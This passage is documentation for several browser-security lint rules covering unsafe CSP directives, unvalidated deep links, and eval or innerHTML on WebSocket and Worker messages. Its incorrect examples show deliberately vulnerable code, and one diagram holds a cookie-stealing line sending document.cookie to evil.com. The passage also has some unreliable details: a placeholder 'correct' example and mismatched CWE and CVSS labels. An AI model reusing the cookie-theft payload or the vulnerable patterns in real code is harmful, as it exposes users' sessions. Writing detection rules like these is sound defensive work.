Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html) * [MDN: encodeURIComponent](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) * [MDN: URLSearchParams](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams) * [OWASP Open Redirect Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) # no-unsafe-eval-csp > No Unsafe Eval Csp ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ------------------------------------------------------------------------ | | **CWE** | [CWE-95: Code Injection](https://cwe.mitre.org/data/definitions/95.html) | | **OWASP** | A03:2021 - Injection | | **CVSS** | 8.1 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] The `'unsafe-eval'` CSP directive allows the use of `eval()`, `Function()`, and similar dynamic code execution methods. This enables attackers to inject and execute arbitrary JavaScript code. ## 🔍 What This Rule Detects [#-what-this-rule-detects] ```mermaid flowchart TD A["CSP String Detected"] --> B{"Contains 'unsafe-eval'?"} B -->|Yes| C["🔒 Security Warning"] B -->|No| D["✅ Safe CSP"] C --> E["eval/Function allowed"] E --> F["Code injection possible"] ``` ## ❌ Incorrect [#-incorrect] ```javascript // Literal string with unsafe-eval const csp = "script-src 'unsafe-eval'"; // Combined with other directives const policy = "default-src 'self'; script-src 'unsafe-eval' 'self'"; // Template literal const csp = `script-src 'unsafe-eval'`; // In HTTP header res.setHeader('Content-Security-Policy', "script-src 'unsafe-eval'"); ``` ## ✅ Correct [#-correct] ```javascript // Avoid eval entirely const csp = "script-src 'self'"; // Use strict CSP const policy = "default-src 'self'; script-src 'self' 'nonce-abc123'"; // Use WebAssembly-specific directive if needed const csp = "script-src 'self' 'wasm-unsafe-eval'"; ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-unsafe-eval-csp": [ "error", { "allowInTests": true } ] } } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------------------ | | `allowInTests` | `boolean` | `true` | Disable the rule in test files | ## 💡 Why This Matters [#-why-this-matters] `eval()` and `Function()` can execute arbitrary code, making them extremely dangerous when handling any user input. Even if your application doesn't directly use eval, many libraries do, potentially opening attack vectors. ### Common issues requiring unsafe-eval: [#common-issues-requiring-unsafe-eval] 1. **Legacy code**: Refactor to use JSON.parse or safer alternatives 2. **Template engines**: Use precompiled templates 3. **Third-party libraries**: Consider alternatives or sandbox them ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### CSP from Variable [#csp-from-variable] **Why**: CSP strings from variables not traced. ```typescript // ❌ NOT DETECTED - CSP from variable const cspValue = `script-src 'unsafe-eval'`; res.setHeader('Content-Security-Policy', cspValue); ``` **Mitigation**: Use inline CSP strings in setHeader calls. ### CSP from Configuration [#csp-from-configuration] **Why**: Config values not visible. ```typescript // ❌ NOT DETECTED - From config res.setHeader('Content-Security-Policy', config.csp); ``` **Mitigation**: Validate CSP config values. ### Framework Middleware [#framework-middleware] **Why**: CSP middleware configurations not analyzed. ```typescript // ❌ NOT DETECTED - Helmet config helmet.contentSecurityPolicy({ directives: { scriptSrc: ["'unsafe-eval'"] } }); ``` **Mitigation**: Review framework CSP configurations. ## 📚 Related Resources [#-related-resources] * [MDN: Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) * [CWE-95: Code Injection](https://cwe.mitre.org/data/definitions/95.html) * [Avoiding eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-95 OWASP:A05 CVSS:9.8 | Eval Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-95](https://cwe.mitre.org/data/definitions/95.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Eval Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # no-unsafe-inline-csp > No Unsafe Inline Csp ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ------------------------------------------------------------------------------ | | **CWE** | [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html) | | **OWASP** | A03:2021 - Injection | | **CVSS** | 7.5 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] The `'unsafe-inline'` CSP directive allows inline JavaScript and CSS, completely bypassing the protection CSP provides against XSS attacks. This is one of the most common CSP misconfigurations. ## 🔍 What This Rule Detects [#-what-this-rule-detects] ```mermaid flowchart TD A["CSP String Detected"] --> B{"Contains 'unsafe-inline'?"} B -->|Yes| C["🔒 Security Warning"] B -->|No| D["✅ Safe CSP"] C --> E["Inline scripts can execute"] E --> F["XSS protection bypassed"] ``` ## ❌ Incorrect [#-incorrect] ```javascript // Literal string with unsafe-inline const csp = "script-src 'unsafe-inline'"; // Template literal const policy = `default-src 'self'; style-src 'unsafe-inline'`; // In HTTP header res.setHeader('Content-Security-Policy', "script-src 'unsafe-inline'"); // In meta tag content const meta = { content: "script-src 'unsafe-inline'" }; ``` ## ✅ Correct [#-correct] ```javascript // Use nonce-based approach const csp = "script-src 'self' 'nonce-abc123'"; // Use hash-based approach const policy = "script-src 'self' 'sha256-xxxxx'"; // Strict CSP without inline res.setHeader('Content-Security-Policy', "default-src 'self'"); ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-unsafe-inline-csp": [ "error", { "allowInTests": true } ] } } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------------------ | | `allowInTests` | `boolean` | `true` | Disable the rule in test files | ## 💡 Why This Matters [#-why-this-matters] CSP is one of the most effective defenses against XSS attacks. Using `'unsafe-inline'` completely undermines this protection by allowing any inline script to execute, which is exactly what CSP was designed to prevent. ### Alternatives to unsafe-inline: [#alternatives-to-unsafe-inline] 1. **Nonces**: Generate a random nonce per request 2. **Hashes**: Calculate SHA hashes of allowed inline scripts 3. **External scripts**: Move inline scripts to external files ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### CSP from Variable [#csp-from-variable] **Why**: CSP strings from variables not traced. ```typescript // ❌ NOT DETECTED - CSP from variable const cspValue = `script-src 'unsafe-inline'`; res.setHeader('Content-Security-Policy', cspValue); ``` **Mitigation**: Use inline CSP strings in setHeader calls. ### CSP from Configuration [#csp-from-configuration] **Why**: Config values not visible. ```typescript // ❌ NOT DETECTED - From config const csp = config.contentSecurityPolicy; // May contain unsafe-inline ``` **Mitigation**: Validate CSP config values. ### Framework Abstractions [#framework-abstractions] **Why**: Framework CSP helpers not analyzed. ```typescript // ❌ NOT DETECTED - Helmet config helmet({ contentSecurityPolicy: { scriptSrc: ["'unsafe-inline'"] } }); ``` **Mitigation**: Review framework CSP configurations. ## 📚 Related Resources [#-related-resources] * [MDN: Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) * [OWASP: CSP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html) * [CSP Evaluator](https://csp-evaluator.withgoogle.com/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # no-unvalidated-deeplinks > Requires validation of deep link URLs before navigation **Severity:** 🟠 HIGH\ **CWE:** [CWE-939: Improper Authorization in Handler for Custom URL Scheme](https://cwe.mitre.org/data/definitions/939.html)\ **OWASP Mobile:** [M4: Insufficient Input/Output Validation](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects when deep link URLs are opened without validation in React Native or mobile web apps. Unvalidated deep links enable phishing attacks, unauthorized actions, and open redirect vulnerabilities. The rule flags `Linking.openURL()` and `navigation.navigate()` calls with variable/expression arguments instead of literal strings. ### Why This Matters [#why-this-matters] Deep links allow external apps/websites to trigger actions in your app: * **Phishing**: Attacker crafts malicious deep link to trick users * **Open redirects**: Users redirected to malicious sites * **Unauthorized actions**: Deep links bypass normal auth flows * **CSRF**: Cross-site request forgery via deep links ## ❌ Incorrect [#-incorrect] ```typescript // React Native - opening URL from variable without validation import { Linking } from 'react-native'; function handleDeepLink(url: string) { Linking.openURL(url); // ❌ Unvalidated URL from external source } // Navigation with user-controlled URL function navigate(destination: string) { navigation.navigate(destination); // ❌ No whitelist check } // Deep link handler without validation Linking.addEventListener('url', (event) => { const { url } = event; Linking.openURL(url); // ❌ Directly opening deep link }); // Opening URL from props function ExternalLink({ href }: { href: string }) { return ( Linking.openURL(href)}> {/* ❌ No validation of href prop */} ); } ``` ## ✅ Correct [#-correct] ```typescript const x = 42; ``` ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. ## Known False Negatives [#known-false-negatives] ### Literal URL Strings [#literal-url-strings] **Why**: We only flag variable/expression arguments. Literal strings are assumed safe (but still review manually). ```typescript // ❌ NOT DETECTED - Literal string Linking.openURL('https://evil.com'); // Literal, but still dangerous if hardcoded malicious URL ``` **Mitigation**: Code review all `openURL()` calls. Prefer whitelisted literals only. ### Indirect Deep Link Handling [#indirect-deep-link-handling] **Why**: Validation in separate functions is not traced. ```typescript // ❌ NOT DETECTED - Validation in separate function function validate(url: string): boolean { return url.startsWith('myapp:'); } function handleLink(url: string) { if (validate(url)) { // Validation exists, but not detected statically Linking.openURL(url); } } ``` **Mitigation**: Keep validation inline with `openURL()` call for static analysis. ### Custom Link Opening Libraries [#custom-link-opening-libraries] **Why**: We only detect `Linking.openURL()` and `navigation.navigate()`. Custom libraries not analyzed. ```typescript // ❌ NOT DETECTED - Custom library import { openExternalURL } from './customLinking'; openExternalURL(userProvidedUrl); // Not detected ``` **Mitigation**: Apply validation pattern to all URL opening mechanisms. ## 🔗 Related Rules [#-related-rules] * [`require-url-validation`](./require-url-validation.md) - General URL validation * [`no-insecure-redirects`](./no-insecure-redirects.md) - Server-side redirect validation ## 📚 References [#-references] * [CWE-939: Improper Authorization in Handler for Custom URL Scheme](https://cwe.mitre.org/data/definitions/939.html) * [OWASP Mobile M4: Insufficient Input/Output Validation](https://owasp.org/www-project-mobile-top-10/) * [React Native Linking API](https://reactnative.dev/docs/linking) * [iOS Universal Links](https://developer.apple.com/ios/universal-links/) # no-websocket-eval > 🔒 Disallow using eval() or Function() with WebSocket message data **CWE:** [CWE-319](https://cwe.mitre.org/data/definitions/319.html)\ **OWASP Mobile:** [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-95 OWASP:A05 CVSS:9.8 | Eval Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-95](https://cwe.mitre.org/data/definitions/95.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Eval Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Rule Details [#rule-details] This rule prevents using `eval()`, `new Function()`, or `Function()` with data received from WebSocket messages. This pattern enables **Remote Code Execution (RCE)** - one of the most severe security vulnerabilities. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid sequenceDiagram participant A as Attacker (MITM/Server) participant W as WebSocket Connection participant C as Client Browser A->>W: Send: {code: "fetch('evil.com?c='+document.cookie)"} W->>C: Receive malicious message C->>C: eval(event.data.code) Note over C: REMOTE CODE EXECUTION! C->>A: Cookies, passwords, data exfiltrated ``` When you use eval with WebSocket data: 1. **Attacker-controlled code executes** in your application context 2. **Full access to page data** - cookies, localStorage, DOM 3. **Actions performed as the user** - form submissions, API calls 4. **CVSS 9.8 (Critical)** - Maximum severity ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // eval() with event.data - CRITICAL RCE ws.onmessage = (event) => { eval(event.data); }; // new Function() with event.data ws.onmessage = (event) => { const fn = new Function(event.data.code); fn(); }; // Function() constructor socket.addEventListener('message', (event) => { const execute = Function(event.data); execute(); }); // Nested property ws.onmessage = (event) => { eval(event.data.script); }; ``` ### ✅ Correct [#-correct] ```javascript // Parse as JSON and handle specific actions ws.onmessage = (event) => { const data = JSON.parse(event.data); switch (data.action) { case 'update': updateUI(data.payload); break; case 'refresh': location.reload(); break; default: console.warn('Unknown action:', data.action); } }; // Use a command pattern with allowed actions const handlers = { updateUser: (data) => updateUser(data), showMessage: (data) => showToast(data.message), navigate: (data) => router.push(data.path), }; ws.onmessage = (event) => { const { action, payload } = JSON.parse(event.data); const handler = handlers[action]; if (handler) { handler(payload); } }; ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-websocket-eval": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## When Not To Use It [#when-not-to-use-it] **Never disable this rule in production code.** The only acceptable scenario is in development tools or REPLs where code execution is the explicit purpose, and even then, extreme caution is needed. ## Rule ownership [#rule-ownership] This rule fires **only when the receiver is positively identified** as a `new WebSocket(...)` in the same file. `X.onmessage = …` on a receiver this file cannot resolve is not evidence of WebSocket — it is unknown, and unknown belongs to [`no-innerhtml`](./no-innerhtml.md) / [`no-eval`](./no-eval.md), which report it without claiming a provenance they cannot prove. The two tests are complements, so exactly one rule reports any given value. Before this gate both fired at the identical range in `recommended`, and this rule additionally reported `postMessage` and Worker handlers as WebSocket data, because it gated on the handler shape rather than on the receiver. A receiver that arrives as a parameter or from another module therefore falls to the generic rule. That is deliberate: the alternative is guessing. ## Related Rules [#related-rules] * [`browser-security/no-eval`](./no-eval.md) - General eval() prevention * [`browser-security/no-websocket-innerhtml`](./no-websocket-innerhtml.md) - XSS prevention * [`browser-security/require-websocket-wss`](./require-websocket-wss.md) - Require encrypted connections ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Data Stored in Variable [#data-stored-in-variable] **Why**: Event data stored in variables not traced. ```typescript // ❌ NOT DETECTED - Data stored first ws.onmessage = (event) => { const code = event.data; setTimeout(() => eval(code), 100); }; ``` **Mitigation**: Never use eval with external data. ### Handler in Separate Function [#handler-in-separate-function] **Why**: Handler function internals not analyzed. ```typescript // ❌ NOT DETECTED - External handler ws.onmessage = handleMessage; // May use eval internally ``` **Mitigation**: Apply rule to handler implementations. ### Indirect WebSocket Access [#indirect-websocket-access] **Why**: WebSocket passed through may not be recognized. ```typescript // ❌ NOT DETECTED - Indirect access setupHandler(ws, (data) => eval(data.code)); ``` **Mitigation**: Review all WebSocket handler patterns. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | -------------------- | | OWASP Top 10 2021 | A03:2021 - Injection | | CWE | CWE-95 | | CVSS | **9.8 (Critical)** | # no-websocket-innerhtml > 🔒 Disallow using innerHTML with WebSocket message data **CWE:** [CWE-319](https://cwe.mitre.org/data/definitions/319.html)\ **OWASP Mobile:** [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Rule Details [#rule-details] This rule prevents using `innerHTML`, `outerHTML`, `insertAdjacentHTML()`, or `document.write()` with data received from WebSocket messages. This pattern enables XSS attacks if the WebSocket connection is compromised. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid sequenceDiagram participant A as Attacker (MITM) participant W as WebSocket Server participant C as Client Browser C->>W: Connect (ws:// or compromised wss://) A->>C: Inject: {html: ""} C->>C: element.innerHTML = event.data.html Note over C: XSS Executed! C->>A: Stolen session data ``` When you use innerHTML with WebSocket data: 1. **MITM attacks** can inject malicious HTML (especially over ws\://) 2. **Compromised servers** can send crafted payloads 3. **Scripts execute** in the context of your application ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // onmessage handler with innerHTML ws.onmessage = (event) => { chatBox.innerHTML = event.data; }; // addEventListener pattern socket.addEventListener('message', (event) => { container.innerHTML = event.data.html; }); // outerHTML ws.onmessage = (event) => { widget.outerHTML = event.data; }; // insertAdjacentHTML ws.onmessage = (event) => { messageList.insertAdjacentHTML('beforeend', event.data); }; // Function expression websocket.onmessage = function (msg) { panel.innerHTML = msg.data; }; ``` ### ✅ Correct [#-correct] ```javascript // Use textContent for plain text ws.onmessage = (event) => { messageEl.textContent = event.data; }; // Sanitize before using innerHTML ws.onmessage = (event) => { const sanitized = DOMPurify.sanitize(event.data); chatBox.innerHTML = sanitized; }; // Parse and validate structured data ws.onmessage = (event) => { const data = JSON.parse(event.data); if (typeof data.message === 'string') { messageEl.textContent = data.message; } }; // Use DOM APIs for safe rendering ws.onmessage = (event) => { const data = JSON.parse(event.data); const li = document.createElement('li'); li.textContent = data.text; messageList.appendChild(li); }; // Use intermediate sanitized variable ws.onmessage = (event) => { const cleanHtml = DOMPurify.sanitize(event.data); container.innerHTML = cleanHtml; }; ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-websocket-innerhtml": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## Detection Patterns [#detection-patterns] The rule detects: 1. **`ws.onmessage` handlers** that use innerHTML with event.data 2. **`ws.addEventListener('message', ...)`** handlers with innerHTML 3. **Various DOM methods**: innerHTML, outerHTML, insertAdjacentHTML, document.write ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * You're rendering only non-HTML data (JSON, plain text) * You have thorough sanitization that the rule can't detect * The WebSocket connection is to a fully trusted internal service However, **always sanitize WebSocket data** before rendering as HTML. ## Rule ownership [#rule-ownership] This rule fires **only when the receiver is positively identified** as a `new WebSocket(...)` in the same file. `X.onmessage = …` on a receiver this file cannot resolve is not evidence of WebSocket — it is unknown, and unknown belongs to [`no-innerhtml`](./no-innerhtml.md) / [`no-eval`](./no-eval.md), which report it without claiming a provenance they cannot prove. The two tests are complements, so exactly one rule reports any given value. Before this gate both fired at the identical range in `recommended`, and this rule additionally reported `postMessage` and Worker handlers as WebSocket data, because it gated on the handler shape rather than on the receiver. A receiver that arrives as a parameter or from another module therefore falls to the generic rule. That is deliberate: the alternative is guessing. ## Related Rules [#related-rules] * [`browser-security/require-websocket-wss`](./require-websocket-wss.md) - Require secure wss\:// connections * [`browser-security/no-innerhtml`](./no-innerhtml.md) - General innerHTML prevention ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Event Data Stored in Variable [#event-data-stored-in-variable] **Why**: Data stored in variables not traced. ```typescript // ❌ NOT DETECTED - Data stored first ws.onmessage = (event) => { const html = event.data; container.innerHTML = html; }; ``` **Mitigation**: Always sanitize before any assignment. ### Separate Handler Function [#separate-handler-function] **Why**: Handler internals not analyzed. ```typescript // ❌ NOT DETECTED - External handler ws.onmessage = handleWebSocketMessage; ``` **Mitigation**: Apply rule to handler implementations. ### Custom Sanitizer [#custom-sanitizer] **Why**: Non-standard sanitizers may not be recognized. ```typescript // ❌ NOT DETECTED - Custom sanitizer element.innerHTML = myHtmlCleaner(event.data); ``` **Mitigation**: Configure trusted sanitizer names. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | -------------------- | | OWASP Top 10 2021 | A03:2021 - Injection | | CWE | CWE-79 | | CVSS | 8.1 (High) | # no-worker-message-innerhtml > No Worker Message Innerhtml ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ------------------------------------------------------------------------------ | | **CWE** | [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html) | | **OWASP** | A03:2021 - Injection | | **CVSS** | 7.5 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] Web Workers can process untrusted data from various sources. Directly rendering Worker message data via `innerHTML` can lead to XSS if the worker processes malicious content. ## 🔍 What This Rule Detects [#-what-this-rule-detects] ```mermaid flowchart TD A["Worker Message Handler"] --> B{"Uses innerHTML?"} B -->|Yes| C{"With event.data?"} C -->|Yes| D["🔒 XSS Vulnerability"] C -->|No| E["✅ No Issue"] B -->|No| E D --> F["Malicious worker data"] F --> G["Script injection"] ``` ## ❌ Incorrect [#-incorrect] ```javascript // onmessage handler with innerHTML worker.onmessage = (e) => { element.innerHTML = e.data; }; // addEventListener pattern myWorker.addEventListener('message', (event) => { container.innerHTML = event.data; }); // outerHTML worker.onmessage = (e) => { element.outerHTML = e.data; }; // insertAdjacentHTML worker.onmessage = (e) => { element.insertAdjacentHTML('beforeend', e.data); }; ``` ## ✅ Correct [#-correct] ```javascript // Use textContent for plain text worker.onmessage = (e) => { element.textContent = e.data; }; // Sanitize before rendering HTML worker.onmessage = (e) => { const sanitized = DOMPurify.sanitize(e.data); element.innerHTML = sanitized; }; // Parse and validate structured data worker.onmessage = (e) => { const data = JSON.parse(e.data); if (isValid(data)) { renderData(data); } }; ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-worker-message-innerhtml": [ "error", { "allowInTests": true } ] } } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ------------------------------ | | `allowInTests` | `boolean` | `true` | Disable the rule in test files | ## 💡 Why This Matters [#-why-this-matters] Workers process data in the background, often from external sources like APIs or uploaded files. If this data contains malicious HTML/JavaScript and is rendered without sanitization, it enables XSS attacks. ### Worker Data Sources to Consider: [#worker-data-sources-to-consider] 1. **API responses**: Validate server data 2. **File processing**: Sanitize file contents 3. **Third-party integrations**: Never trust external data ## Rule ownership [#rule-ownership] This rule fires **only when the receiver is positively identified** as a `new Worker(...)` or `new SharedWorker(...)` in the same file. `X.onmessage = …` on a receiver this file cannot resolve is not evidence of Worker — it is unknown, and unknown belongs to [`no-innerhtml`](./no-innerhtml.md) / [`no-eval`](./no-eval.md), which report it without claiming a provenance they cannot prove. The two tests are complements, so exactly one rule reports any given value. Before this gate both fired at the identical range in `recommended`. A receiver that arrives as a parameter or from another module therefore falls to the generic rule. That is deliberate: the alternative is guessing. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Event Data Stored in Variable [#event-data-stored-in-variable] **Why**: Data stored in variables not traced. ```typescript // ❌ NOT DETECTED - Data stored first worker.onmessage = (e) => { const html = e.data; element.innerHTML = html; }; ``` **Mitigation**: Always sanitize before any assignment. ### Handler in External Function [#handler-in-external-function] **Why**: External handlers not analyzed. ```typescript // ❌ NOT DETECTED - External handler worker.onmessage = processWorkerMessage; ``` **Mitigation**: Apply rule to handler implementations. ### Custom Sanitizer [#custom-sanitizer] **Why**: Non-standard sanitizers may not be recognized. ```typescript // ❌ NOT DETECTED - Custom sanitizer element.innerHTML = mySanitize(e.data); ``` **Mitigation**: Configure trusted sanitizer names. ## 📚 Related Resources [#-related-resources] * [MDN: Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Worker) * [DOMPurify](https://github.com/cure53/DOMPurify) * [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | # require-blob-url-revocation > Require Blob Url Revocation ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ----------------------------------------------------------------------- | | **CWE** | [CWE-401: Memory Leak](https://cwe.mitre.org/data/definitions/401.html) | | **OWASP** | A04:2021 - Insecure Design | | **CVSS** | 5.3 (Medium) | | **Severity** | MEDIUM | ## 📋 Description [#-description] Blob URLs created with `URL.createObjectURL()` consume memory until explicitly revoked with `URL.revokeObjectURL()`. Failing to revoke them causes memory leaks that can impact application performance and stability. ## ❌ Incorrect [#-incorrect] ```javascript // Creating blob URL without revocation const url = URL.createObjectURL(blob); img.src = url; // No revocation - memory leak! // In a loop - major memory leak files.forEach((file) => { const url = URL.createObjectURL(file); preview.src = url; }); ``` ## ✅ Correct [#-correct] ```javascript // Revoke after use const url = URL.createObjectURL(blob); img.src = url; img.onload = () => URL.revokeObjectURL(url); // Cleanup on component unmount (React example) useEffect(() => { const url = URL.createObjectURL(file); setPreviewUrl(url); return () => URL.revokeObjectURL(url); }, [file]); ``` ## 🛠️ Options 